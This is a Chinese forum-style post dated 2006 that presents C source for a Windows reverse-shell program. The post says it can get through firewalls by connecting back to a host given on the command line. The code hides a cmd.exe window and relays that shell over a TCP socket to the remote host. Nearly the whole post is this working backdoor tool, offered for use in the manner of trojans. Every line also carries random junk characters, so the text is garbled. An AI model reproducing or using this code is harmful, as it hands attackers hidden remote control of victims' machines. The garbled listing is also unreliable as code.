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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t!3s@  
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/* ============================== 2LN6pu  
Rebound port in Windows NT X7-*`NI^  
By wind,2006/7 A"pQOtrm\k  
===============================*/ _Vp"G)1Y  
#include *y?6m,38V  
#include 0^S$_L  
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#pragma comment(lib,"wsock32.lib") (y; 6 H  
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void OutputShell(); 0'6ai=W  
SOCKET sClient; v@QnS  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9NwUX h(:(  
&G_#=t&  
void main(int argc,char **argv) o#6QwbU25  
{ |HT7m5tu4  
WSADATA stWsaData; QB X EM=  
int nRet; m2^vH+wD  
SOCKADDR_IN stSaiClient,stSaiServer; >x*[izr/K  
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if(argc != 3) *7H *epUa  
{ roc DO8f  
printf("Useage:\n\rRebound DestIP DestPort\n"); >m lQ@Z_O  
return; 'd Be,@  
} {Ni]S$7  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3m75mny  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?xv."I%  
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stSaiClient.sin_family = AF_INET; nxV!mh_  
stSaiClient.sin_port = htons(0); OEaL2T  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6oLOA}q   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &c!6e<o[p  
{ vC>2%Zgf-  
printf("Bind Socket Failed!\n"); W7 A!QS  
return; O^CBa$  
} uQc("F  
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stSaiServer.sin_family = AF_INET; h[qZM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?7wcv$K5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k^|z.$+  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ppn  8  
{ <QvVPE}z   
printf("Connect Error!"); RuYIG?J=/  
return; 67&IaDts  
} I)1ih  
OutputShell();  Mj1f;$  
} 7xO05)bz  
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void OutputShell() |U1 [R\X  
{ "{~FEx4  
char szBuff[1024]; ]cP%d-x}  
SECURITY_ATTRIBUTES stSecurityAttributes; ;b 65s9n^b  
OSVERSIONINFO stOsversionInfo; *w0|`[P+h  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *(5;5r  
STARTUPINFO stStartupInfo; @!oN]0`F;  
char *szShell; V  H`_  
PROCESS_INFORMATION stProcessInformation; 9;%$  
unsigned long lBytesRead; i[9gcL"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %T>@Ldt  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); HdtGyh6X0  
stSecurityAttributes.lpSecurityDescriptor = 0; l(rm0_  
stSecurityAttributes.bInheritHandle = TRUE; i/-IjgM"-  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  ij:a+T  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `q]' ^EzJ  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nI?*[y}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @d{}M)6\!  
stStartupInfo.wShowWindow = SW_HIDE; *LhwIY  
stStartupInfo.hStdInput = hReadPipe; Tv7W)?3h  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IY6Ll6OK  
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GetVersionEx(&stOsversionInfo); MOB4t|  
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switch(stOsversionInfo.dwPlatformId) l=9D!6 4  
{ tH;9"z# ~  
case 1: %8I^&~E1  
szShell = "command.com"; G"&$7!6[Y  
break; H +I,c1sF  
default: -w2^26 ax  
szShell = "cmd.exe"; {J1rjrPo  
break; TJRp/BP  
} M:OZWYQ  
KO8vUR*2R  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2m*ugBO;  
p' ^}J$  
send(sClient,szMsg,77,0); yB7si(,1>  
while(1) =%I[o=6  
{  U%r{{Q1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2X' H^t]7  
if(lBytesRead) )M Iw/  
{ HLz<C  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ha|2u(4  
send(sClient,szBuff,lBytesRead,0); X~m57 b j  
} r)>'cjx/  
else SE(<(w  
{ *IbDA  
lBytesRead=recv(sClient,szBuff,1024,0); Y<POdbg  
if(lBytesRead<=0) break; z5({A2q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hoBFC1  
} l+6@,TY1U  
} 4J,6cOuW4  
M6MxY\uM  
return; mQ}\ptdfV  
}
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